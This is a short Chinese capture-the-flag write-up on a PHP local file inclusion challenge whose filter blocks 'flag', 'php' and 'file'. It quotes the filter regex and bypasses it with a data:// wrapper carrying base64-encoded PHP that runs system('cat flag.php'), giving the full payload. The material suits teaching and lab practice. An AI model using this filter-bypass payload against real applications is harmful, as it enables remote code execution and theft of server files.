打开靶场这道题目是之前那道题的进阶版。核心考点依然是 PHP 本地文件包含(LFI),但过滤规则显著增强了。

- 源码审计(核心变化)
对比之前的题目,这次的正则表达式发生了变化:
if(!preg_match("/flag|php|file/i", $c))
新增黑名单:除了 flag,现在还过滤了 php 和 file。
影响:
你不能直接输入 flag.php(含有 flag 和 php)。
你不能使用 php://filter(含有 php)。
你不能使用 php://input(含有 php)。 - 解题思路:寻找"漏网之鱼"
既然 php 和 file 被封杀了,我们需要寻找不需要这两个关键字的伪协议。
所以我们可以继续使用 data:// 协议
检查 data:// 协议本身:它不包含 php 或 file 关键字
所以可以继续使用 Base64 编码来隐藏你的命令。
代码:<?php system('cat flag.php');?>
Base64 编码:PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
最终 Payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
发现页面没有回显是=说明代码执行成功我们产看源代码得到flag
